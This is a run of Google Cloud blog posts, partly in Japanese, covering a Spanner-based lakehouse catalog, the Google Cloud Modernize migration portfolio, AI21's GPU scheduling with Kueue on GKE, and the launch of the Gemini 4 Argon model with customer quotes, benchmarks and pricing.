さらに、エージェント ユースケースへの対応を強化するため、Lakehouse ランタイム カタログは Knowledge Catalog と直接統合されており、レイクハウス内の Iceberg テーブルを簡単に検出して、信頼できるコンテキストをエージェントに提供することができます。Spanner が提供する全文検索とネイティブのベクトル検索という効率的な組み合わせを Knowledge Catalog で活用して、単一のクエリ内で語彙キーワード検索とセマンティック エンベディングを併用し、検索の再現率を高められます。これらの 2 種類のインデックス タイプは同じベース データセット上に構築されており、ベーステーブルが DML で操作されると、トランザクションの ACID 整合性を厳密に保ちながらインデックスが更新されます。そのため、運用上のオーバーヘッド、たとえば、同期パイプライン、外部ベクトル、全文検索システムの管理といった作業が発生しません。簡潔に言うと、Lakehouse ランタイム カタログを使用すると、エージェントのユースケースを迅速に市場に投入することが可能となります。

分析と運用のワークロードを組み合わせる

Apache Iceberg をベースにした、Google Cloud のボーダーレスな Lakehouse なら、分析データを運用ワークロードと組み合わせることができます。ユースケースとしては、Lakehouse のデータアセットと Spanner からの OLTP データを組み合わせて分析を実行する、Spanner やその他の運用データベースからレイクハウスのアセットにアクセスして低レイテンシのアプリケーションを実現する、ファースト パーティおよびサードパーティのエージェントで会話型分析を行う、など多岐にわたるものがあります。

Lakehouse ランタイム カタログと Spanner の動作の例を以下に示します。この例では、マンハッタンのタクシー運行に関する分析データ（Apache Iceberg）と、タクシーのゾーンに関する運用データ（Spanner）を組み合わせて、最も混雑している交通経路を特定しています。さらに、会話型分析エージェントを使ってこの同じデータにアクセスし、二次的な分析情報を取得しています。

ボーダーレスな Lakehouse にモダナイズ

Google Cloud の Lakehouse にモダナイズすることによって、分析エンジンやエージェント間のデータサイロを最小限に抑える、マルチエンジンのガバナンスを統合する、信頼できるコンテキストをエージェントに提供する、運用コストを大幅に削減する、といったメリットが得られます。Spanner ベースの Lakehouse ランタイム カタログを活用し、最新のクラウド環境をエージェント規模で運用する基盤を整えましょう。詳細および無料トライアルについては、

Lakehouse のウェブページをご覧ください。Spanner の詳細についてはこちらをご覧ください。

- プロダクト マネージャー、Vinod Ramachandran

- ソフトウェア エンジニアリング マネージャー Mina Mikhail

※この投稿は米国時間 2026 年 10 月 6 日に、Google Cloud blog に投稿されたものの抄訳です。

このたび、Google は Google Cloud Modernize を発表しました。これは、AI の力を活用して、企業が複数年に及ぶロードマップを大幅に短縮できるよう支援する、エンドツーエンドの変革ポートフォリオです。

Google Cloud Modernize は、Migration Center、Google Cloud VMware Engine、Google Cloud Mainframe Modernization、そして新たに加わった EKS-to-GKE Migration Agent など、Google Cloud の実績ある移行およびモダナイゼーション ツールを 1 つのポートフォリオに統合したものです。これにより、企業のチームは、インフラストラクチャ評価、プラットフォームおよびアプリケーションのモダナイゼーションの全般にわたり、目的に特化したエージェント機能を活用できるようになります。

このポートフォリオの中心となるのが、新たに提供を開始した Modernization Hub です。これはコンソール上で利用できる新しい機能で、開発者やアーキテクトはソースコードの分析や依存関係のマッピングを行い、Java、.NET、メインフレーム アプリケーションのモダナイゼーションを迅速に進めることができます。

エージェント インフラストラクチャの評価

あらゆる変革は、正確な評価から始まります。Migration Center の新しい Gemini 機能である Agentic Quick Estimator（一般提供）は、VMware インベントリのエクスポート（RVTools など）やインフラストラクチャ構成データから、Compute Engine 環境の総所有コスト（TCO）予測を自動で算出します。

インタラクティブなチャット インターフェースを通じて、マルチリージョンのフットプリント評価や、BYOL と従量課金制の比較など、さまざまな前提条件でリアルタイムにシミュレーションを行い、自社の状況に最適なコスト最適化案を見つけ出すことができます。これにより、数週間を要していたスプレッドシートでのシミュレーションが、社内承認にも耐えうる説得力のあるビジネスケースとして、わずか数分でまとまります。

また、専門的なサポートとして、Rapid Migration and Modernization Program（RaMP）を通じて、包括的なモダナイゼーション評価を無料で提供しています。

プラットフォームのモダナイゼーション

バックエンド システムにクエリを送信するリアルタイム AI エージェントの台頭に伴い、I/O ボトルネックを解消する高スループットなインフラストラクチャを必要とするワークロードが急速に増加しています。各種評価を通じて移行先の環境を決定した後は、ミッション クリティカルなワークロード向けに、最適化された新しいコンピューティング オプションをいくつかご利用いただけます。

• 大規模環境向け SAP S/4HANA（X5 シリーズ、一般提供）: 単一ノードで 43 TiB のメモリ構成を実現し、これまでの 29 TiB という制限を解消。エンタープライズ ERP 環境を分散パーティショニングのオーバーヘッドなしで稼働させることが可能です。

• コア最適化データベース パフォーマンス（M4N シリーズ、一般提供）: vCPU あたり 26.57 GiB の RAM と Hyperdisk Extreme の組み合わせを提供します。これにより、メモリ要件を満たすためのコンピューティング コアのオーバープロビジョニングを回避できるため、Oracle やその他のコアライセンス データベースのソフトウェア ライセンス費用を 20% 以上削減できます。

• 超低レイテンシのデータエンジン（Z4D、一般提供、Z4M、プレビュー）: Z4D は最大 84,000 GiB、Z4M は最大 168,000 GiB の高速ローカル NVMe SSD を提供します。また、両モデルで 400 Gbps のネットワーキングに対応し、Z4M では RDMA もサポートします。このスループットにより、リアルタイム AI エージェントがベクトルストア、オペレーショナル データベース、大規模データ パイプラインにアクセスする際の I/O 待機時間を短縮し、クエリのタイムアウトを防ぎます。

VMware 環境向けのクラウドの弾力性

VMware 環境を運用しており、クラウドの弾力性を必要としながらも環境の再設計の準備が整っていない組織に向けて、Google Cloud セルフマネージド VMware ソリューションは、VMware Cloud Foundation（VCF）9.1 を搭載したベアメタル Z3 インスタンスの管理機能を提供します。ネイティブなグローバル VPC リンクにより、VMware 環境を Compute Engine、Google Kubernetes Engine（GKE）、BigQuery、Gemini Enterprise に直接接続できます。これにより、チームはコードを変更することなく、自律型エージェントを運用データにグラウンディングさせることができます。

GKE へのコンテナ移行の自動化

新しい EKS-to-GKE Agentic Migration（公開プレビュー）は、以下の機能によって AWS Elastic Kubernetes Service から GKE への移行を自動化します。

• 自動化されたパイプライン: クラウド間におけるリソースの自動検出、Kubernetes マニフェストの変換、ストレージおよびネットワークのマッピングを管理します。

• エンタープライズ グレードのセキュリティ: 組み込みの人間参加型（HITL）承認ゲートとインメモリ認証情報セキュリティにより、厳格な GitOps コンプライアンスを維持します。

• 最新のランタイムへの迅速な移行: ワークロードを GKE へ迅速に移行することで、低レイテンシなモデル提供、自動スケーリング、マルチエージェントのオーケストレーションを活用できます。

NetEase Games は、GKE でサービスをコンテナ化することで、このプラットフォーム アプローチの価値を実証しました。同社は、ピーク時のリリースにおけるインフラストラクチャのスケーリング時間を数時間から 5 分に短縮し、サーバー費用を 40% 削減しています。

「多様なコンピューティング インスタンスと強力なオーケストレーションを統合することで、NetEase のインフラストラクチャを競争優位性へと変革し、当社がグローバルなゲーム市場でリーダーであり続けることを確固たるものにしています。」- NetEase Games、サイト信頼性エンジニアリング担当ディレクター、Deng Ding 氏

Modernization Hub によるアプリケーションのモダナイゼーション

最新のインフラストラクチャに移行することで、チームは以前のビジネス ロジックを解放し、コア アプリケーションをモダナイズできます。Modernization Hub は、複数のモダナイゼーション ツールを Google Cloud コンソール内に直接一元化します。

.NET と Java のモダナイゼーション

Modernization Hub には、Google Cloud App Modernization CLI（CodMod）が統合されています。このツールは Gemini を使用して、大規模なソースコード リポジトリの分析、以前のアプリケーション アーキテクチャの把握、隠れた依存関係のマッピング、モダナイゼーションにおける課題の特定を行い、最適な推奨策を生成します。これにより、以前の .NET Framework アプリケーションを、Linux コンテナ上で動作する最新の .NET Core へ移行し、OS ライセンス コストを削減できます。同時に、これらのアプリケーションやデータを、最新の AI エージェント ワークフローで活用することも可能になります。

メインフレームのモダナイゼーション

メインフレームを運用しているお客様に向けて、Google Cloud へのエンドツーエンドのアプリケーション移行を加速し、そのリスクを極限まで抑えるための専門的なソリューションを提供しています。

• Mainframe Assessment Tool: 以前のメインフレームのコードベースを解析し、ビジネスルールを抽出して、アプリケーションとデータの依存関係をマッピングします。これにより、クラウド対応の移行先アプリケーション仕様を生成し、エージェント型のモダナイゼーション ワークフローを強力に推進します。

• Dual Run: メインフレームと新しいクラウド アプリケーションの双方で、本番環境のトランザクション ストリームを同時にリプレイし、本番稼働前に機能の同等性を検証することで、カットオーバーのリスクを極限まで低減します。

• Mainframe Connector: メインフレームのデータを Google Cloud サービス（BigQuery、AlloyDB、GCS など）に直接コピーすることで、以前のデータの有効活用を可能にし、ハイブリッド アーキテクチャの構築を支援します。

Intesa Sanpaolo は、Google Cloud のメインフレーム モダナイゼーション ソリューションを採用し、メインフレームから Google Cloud へのコアバンキングの変革を加速させました。

「メインフレームのモダナイゼーションを自信を持って進めるためには、銀行の経営陣や内部統制部門に信頼と安心感を提供し、さらには規制当局からの承認を得ることが不可欠です。これを可能にするソリューションの一つが Google Cloud Dual Run です。これは、3 つのグループすべてにそのような信頼を築くための確証を段階的に提供し、安心感をもたらしています。」- Intesa Sanpaolo、IT アーキテクチャ責任者、Claudio Balbo 氏

実績とパートナー エコシステム

Deutsche Börse Group は、ミッション クリティカルな SAP S/4HANA 環境と DAX® 指数の算出システムを Google Cloud に移行しました。これにより、障害復旧時間を数時間から数分へと劇的に短縮し、集計レイテンシを 50% 以上削減、さらに開発サイクルを数か月からわずか数日へと短縮しました。

これらの機能をエンタープライズ規模で提供するため、Google はグローバル パートナー エコシステムとも連携し、Cognizant をはじめとするエンタープライズ デリバリー フレームワークと Google Cloud Modernize の統合を進めています。

「Google のモダナイゼーション ソリューションは、AI ネイティブなモダナイゼーションの次なるフロンティアを切り開くものです。これにより企業は、複雑化した以前のシステムを自律的に解きほぐし、クラウド ファーストでインテリジェントなアーキテクチャへの移行を加速させることができます。Cognizant の AI 主導で統制されたデリバリー エンジンと組み合わせることで、エージェントによるビジネス プロセッシングを通じてこの移行を強力に後押しし、成果重視の価値を迅速かつ大規模に実現しています。」- Cognizant、デジタル エンジニアリング担当グローバル プラクティス責任者、Nishant Upadhyaya 氏

今すぐ変革を加速

インフラストラクチャとアプリケーションのモダナイズは、エンタープライズ AI のアジリティを実現するための基本的な要件です。Google Cloud Modernize は、AI の準備と導入を進めるチームが各フェーズを安全かつ効率的に進められるよう支援します。

始める:

• ウェブセミナーに参加する: 11 月 17 日に開催されるセッションに登録して、Modernization Hub とエージェント移行ツールのライブデモをご覧ください。

• コンソールを探索する: Google Cloud Modernize コンソールにログインして、Modernization Hub にアクセスします。

• 計画を開始する: Google Cloud Modernize の ウェブページにアクセスするか、無料のモダナイゼーション評価を今すぐリクエストしてください。

- Google Cloud、プロダクト管理担当シニア ディレクター、Souvik Choudhury

- Google Cloud、クラウド モダナイゼーションおよび移行チーム、Tom Nikl

※この投稿は米国時間 2026 年 10 月 3 日に、Google Cloud blog に投稿されたものの抄訳です。

編集者注: AI21 Labs は、基盤モデル、特に Jamba ファミリーの構築で長年の実績を持つ世界有数の AI ラボであり、現在は特化型 LLM とエージェント最適化テクノロジーに注力しています。Google Cloud AI Hypercomputer の導入により、AI21 は優先度の高いジョブの待ち時間を 72 時間から 12 時間へと短縮し、手動によるスケジューリング介入を週 20 回からゼロへと削減しました。

AI21 は、企業が最先端の品質でエージェントを効率的に実行できるようにする基盤モデルとエージェント最適化プロダクトを構築しています。Jamba ファミリーを含む AI21 の言語モデルとエージェント最適化プロダクト スイートは、AI21 独自のワークロードをはじめとする、要求の厳しい本番環境ワークロードを稼働させています。そこで、これらを大規模なスケールで稼働させるために Google Cloud AI Hypercomputer を選択しました。

モデルトレーニングの稼働率を高く維持するには、インフラストラクチャ、オーケストレーション、使用量モデル全体で共同設計された、パフォーマンスとスケーラビリティに優れた環境が必要でした。モデルのトレーニングは、共有の Google Kubernetes Engine（GKE）クラスタの 1 つで実行され、数千の Google Cloud A3（NVIDIA H100 Tensor Core GPU 搭載）インスタンスと A3 Ultra（NVIDIA H200 Tensor Core GPU 搭載）インスタンスをプールしています。これにより、どのチームも、割り当てられた一部のキャパシティに制限されることなく、フリートの全キャパシティを活用できます。このクラスタは、Jamba ファミリー以外のモデルやエージェント最適化ワークロードのトレーニングにも使用されています。このアプローチによって使用率は高く維持されますが、その反面、スケジューリングは困難になります。

高使用率クラスタの行き詰まり

オーケストレーションに GKE を活用する前は、Slack で手動でキャパシティを調整していました。トレーニング実行のためのキャパシティが必要な場合は、#gpu-resources に投稿して、うまくいくことを祈るしかありませんでした。

クラスタに余裕があるときは、これで問題ありませんでした。使用率が 100% 近くに張り付くと、機能しなくなりました。これこそが、予約済みのコンピューティング フリートに求められる稼働状態であるにもかかわらず、です。

やがて、すべてのリクエストが交渉の対象となりました。チームリーダーは、コンピューティング リソースの割り当てを巡る争いの仲裁に時間を費やしていました。優先度の高いジョブ、つまりクラスタの半分以上を一度に必要とし、モデル プロジェクトのクリティカル パスとして機能する大規模なマルチノード トレーニング実行は、十分な連続した空きキャパシティが確保できるまで最大 72 時間ブロックされる可能性がありました。

リソースの不足は 2 つの異なる問題を生み出しましたが、それらを別々の問題として認識するまでには時間がかかりました。1 つ目は競合です。次にコンピューティング リソースにアクセスできるユーザーを決定する必要があり、これは交渉によって解決しました。2 つ目は断片化です。技術的には空きキャパシティがあるものの、大きなジョブで使用するには小さすぎる断片に分散している状態であり、これはいくら交渉しても解決できないビンパッキング問題でした。

理論上は十分な空きキャパシティがある場合でも、それが複数のマシンに分散していて、大きなジョブを実際に実行するにはチャンクが小さすぎることもありました。オール オア ナッシング アドミッションがなければ、クラスタはデッドロックに陥り、誰かが手動で介入するまで、マシンは有用な作業を行わずにリソースを保持することになります。

現状がうまくいっていないことは明らかで、もっと良いものが必要でした。

適切なスケジューラの選択

当社では、Apache YuniKorn、Volcano、Kueue など、いくつかのオープンソース バッチ スケジューラを検討しました。YuniKorn は、当社のすべてのユースケースをカバーしていませんでした。Volcano は機能が豊富でしたが、当社の環境に統合するには、Kubernetes スケジューラのコア コンポーネントを置き換える必要がありました。

シンプルさと統合のしやすさが、Kueue を採用する決め手となりました。標準の Kubernetes で動作し、コア コンポーネントを置き換える必要がなく、ジョブ仕様を書き直す必要もありませんでした。

Kueue と、GKE を通じた AI Hypercomputer の柔軟でオープンな運用を組み合わせたことも、成功に貢献しました。GKE を利用しているのは、コンピューティング負荷の高い AI ワークロードを適切に制御できるからです。GPU ハードウェアとドライバに直接アクセスできる一方で、生のインスタンスを自社で管理するオーバーヘッドは発生しません。Kueue は、Spot VM や Dynamic Workload Scheduler などの Google Cloud のキャパシティ タイプを含め、GKE とネイティブに統合されているため、予約されたキャパシティが満杯になると、ジョブが滞ることなく、同じスケジューリング ロジックが自動的に拡張可能なキャパシティにアクセスできます。

オープンソースとのフィードバックループの確立

Kueue の導入は、単なるプロセスの変更以上のものとなりました。Google Cloud と提携しているため、当社には専任のテクニカル アカウント マネージャーがついています。その担当者が、AI21 を Kueue チームのデザイン パートナーに推薦する好機だと考えてくれました。そうすれば、単なるユーザーにとどまらず、本番環境における実際の要件を提供する存在として、ツールの今後の方向性を形作るのに貢献できます。

このパートナーシップから最初に生まれたものの一つが、Kueue チームと共有した要件ドキュメントです。このドキュメントには、まだ存在していなかった、必要とする動作が記載されていました。それは、通常は公平なスケジューリングに付随するプリエンプションを行うことなく、マルチノード ジョブに対してチーム間で公平なアドミッション順序を実現することです。Kueue チームは、この機能を実際に開発してくれました。Admission Fair Sharing（AFS）は、すでに実行されているジョブを中断することなく、これまで使用したキャパシティが少ないチームを優先するようにアドミッション キューを並べ替えます。同じ頃、トポロジを考慮したスケジューリングも有効にしました。この既存の機能により、Kueue は物理クラスタのレイアウトを認識できるため、単一ノードに収まらないジョブを、実行する場所がないまま配置するのではなく、受け入れを拒否できます。

当社にとって、これはオープンソースのフィードバック ループの最良の形です。本番環境での使用を通じて実際の要件が明らかになり、それが Kueue に直接フィードバックされます。

同じフリートで、よりスムーズに

Slack の #gpu-resources チャンネルはアーカイブされました。デバッグ pod、マルチノード トレーニング実行、推論デプロイなど、あらゆるワークロードがキューに登録され、優先順位が付けられ、自動的にスケジュールされます。効果はすぐに表れました。手動による介入は、週に約 20 回からゼロに減少しました。以前は最大 72 時間待機していた優先度の高いジョブの待ち時間が、今では 12 時間に短縮されました。クラスタ全体の断片化は 15% から 8% に減少し、「ゾンビジョブ」の問題（ワークロードが部分的に受け入れられ、実行する場所がない）は解消されました。

これによって総費用が変わることはありませんでした。当社では、予約済みフリートを意図的に 100% に近い稼働率で運用しているため、純粋な支出額そのものは、もともと最適化の対象ではありませんでした。変わったのは、従業員が何に時間を費やすかです。チームリーダーはコンピューティングに関する争いを仲裁する必要がなくなり、研究者は Slack での返信を待つ必要がなくなりました。これにより、誰もがより多くのテストを実施し、より迅速に反復処理を行えるようになります。

- AI21、テクノロジーおよびアーキテクチャ担当バイス プレジデント、Barak Peleg 氏

- AI21、DevOps エンジニア、Asaf Ben-Tovim 氏

Last week we announced that Gemini Enterprise has evolved to make it even simpler to get work done, and introduced the Gemini agent, your new universal agent for work. It's always on and ready to answer your questions. It will write code, complete longer and more complex tasks, or perform whatever you need to get the job done, all from a single prompt box. And model intelligence underpins it all.

To enable a new frontier of work, we are making our new frontier model, Gemini 4 Argon, available on Google Cloud. 

We trained Argon to work with both depth and precision, which allows it to maintain context across long, multi-step tasks which are reinforced with strong domain expertise along the way. Whether your team is running complex software builds, handling detailed financial and legal work, or deploying cybersecurity tools like CodeMender, Argon helps your teams maintain focus from start to finish. 

Four ways Argon changes how your business works

1. Hand off your hardest work

Your teams already use Gemini for business to answer questions and draft content. With Argon, they can hand off the deep, multi-step work that used to take hours or days, and get back finished work they can use.

Argon reads long documents that mix text, tables, charts and images, and turns them into one clear output grounded in those sources. It can pull findings from many sources into a single structured answer, analyze data over time, and write stronger legal, finance, and executive documents. On long tasks, it keeps going until the job is done. We trained Argon to respect system boundaries, report negative findings honestly, and pause for confirmation before taking irreversible steps, and it tells you when it couldn't find something or finish a task.

Customers who tested Argon tell us it excels at turning huge, unstructured inputs into cohesive outputs. 

"As software development becomes more agentic, teams need models that can support long-running, multi-step work across all stages of the development lifecycle. Gemini 4 Argon is designed to help organizations bring AI into development, security, and operations while keeping it within established enterprise workflows and controls.” – Stuart Moncada, VP, GitLab.

2. Precise, verifiable results on the work that drives your business

In finance, legal, tax, and other regulated work, calculations and data extraction need to be precise, repeatable, and verifiable. 

For financial quantitative work, Argon can help automate multi-step ledger reconciliations, spreadsheet formulas, and variance analyses. It delivers high calculation integrity, citation fidelity, and formula accuracy across quantitative models. The proof is in the numbers: Argon leads on the Vals Index, which measures economic impact across finance, coding, legal, and tax work.

In legal research, Argon can help legal teams review case law and regulatory filings to pull out verified citations and key precedents. It leads on domain-specific evaluations like Harvey's Legal Agent Benchmark for legal research and drafting, with strong citation fidelity and direct answers when helping teams evaluate complex legal precedents. 

"Gemini 4 Argon shows how much progress Google has made on agentic legal reasoning. We saw substantial improvements over Gemini 3.1 Pro across our legal agent evaluations, particularly in corporate M&A, data privacy and cybersecurity, and EC/VC. Accuracy also held up on long-document analysis, an encouraging result for lawyers working through detailed transactional matters." – Niko Grupen, Head of Applied Research, Harvey.

“We collaborated with Google on NowAI-Bench to help shape Gemini 4 for key enterprise work. In early access, it delivered roughly 20% improved task success than Gemini 3.8 Flash, with standout gains in HR and customer service. On the ServiceNow AI Platform, our L1 Service Desk AI specialist brings Google’s most advanced intelligence, governed and secure, turning tasks into fully autonomous work.” - Nenshad Bardoliwalla, Senior Vice President, AI Products, ServiceNow.

3. Build and ship products faster

Argon is built to handle complex, multi-step projects from start to finish. Our customers consistently ask for intelligence that can break down goals, track progress, and update multiple files at the same time.

"Gemini 4 Argon handles complex tasks reliably, from 3D games to rich animations. In Figma Make, it helps teams turn their most ambitious, multi-step ideas into impressive prototypes.” – Loredana Crisan, Chief Design Officer, Figma. 

To see how well Argon handles this, we put it to work on our own tools. The team behind our open-source Agent Development Kit (ADK) set out to reduce framework overhead and improve code performance while maintaining full compatibility with existing applications. Working autonomously overnight within automated testing guardrails, Argon surfaced optimizations, now live in google/adk-python, that cut in-memory session prep time by 40% in long sessions and speed up cold imports by 21%. To learn more, read the engineering deep dive here.

Across Google, engineering teams using Argon in Google Antigravity have increased agentic code submissions by more than 35% while cutting code rollbacks by nearly a third. The Chrome team used Argon to finish an architectural refactor across hundreds of files in Chromium's 40 million-line codebase, completing months of work in weeks. Argon's improvements in spatial reasoning, mathematical precision and visual coding also make it faster to go from idea to working prototype. 

For more advanced algorithms, our code optimization and discovery agent AlphaEvolve uses Argon to deliver strong performance improvements across real-world enterprise workloads, including factory scheduling, logistics, game code speed-ups, and chip layout — as well as complex mathematical benchmarks, and more. 

To learn how to best use Argon, check out the developer's guide.

4. Stronger defense for your code and business 

While Argon has cyber mitigations that block offensive tasks such as pentesting and exploitation, you can still take full advantage of Argon’s defensive capabilities using CodeMender to find and fix vulnerabilities, or use Argon with your own security harness. It ties for first place on CWE-Bench v1 with a top score of 68% for remediating security vulnerabilities.

"We are integrating Gemini 4 Argon into MarketingX for automated codebase security audits. In our evaluations, the model successfully identified 100% of top-priority vulnerabilities with 0% fabricated vulnerabilities across verified claims. This precision unlocks proactive, code-level security for our customers before deployment.” - Yunus Emre, Chief AI Officer of AI Lab, HubX.

Security also means being able to trust Argon inside your own environment. Argon is our most resilient model yet against indirect prompt injections, where malicious instructions or context are used to hijack a model’s behavior. It leads the Gray Swan Indirect Prompt Injection benchmark, cutting attack success across 15 adaptive attempts to 0.7%. That matters when Argon reads email, documents and webpages that may contain hidden malicious instructions. 

We are also releasing Argon without cyber guardrails to a select set of trusted defenders, which allows for testing a full breadth of cybersecurity capabilities. Trusted defenders are vetted through our Fairwind Program, a limited access initiative that provides government, critical infrastructure, and cybersecurity partners exclusive, unmitigated access to advanced  models. 

Enterprise customers and partners in our early access program are already seeing strong wins with Argon.

^{Leaders from Amplitude, Deloitte, and Rakuten share Gemini 4 Argon results}

Get started

Starting today, Gemini 4 Argon is available in Gemini for business on the web, desktop, and mobile. Enterprise developers and builders can access Argon via API in Gemini platform under model ID gemini-4-argon, in Google AI Studio, and in Google Antigravity.

Argon launches at an introductory rate of $2 per million input tokens and $10 per million output tokens through November 30, 2026, with cached input tokens priced at 95% off. After November 30, standard pricing of $4 per million input tokens and $20 per million output tokens will apply. Review the model card and developer guide for complete technical specifications, token limits, and migration instructions.

Cyber defenders can join us at Security Summit to learn how to use Gemini 4 Argon to defend against machine-speed threats and automate remediation.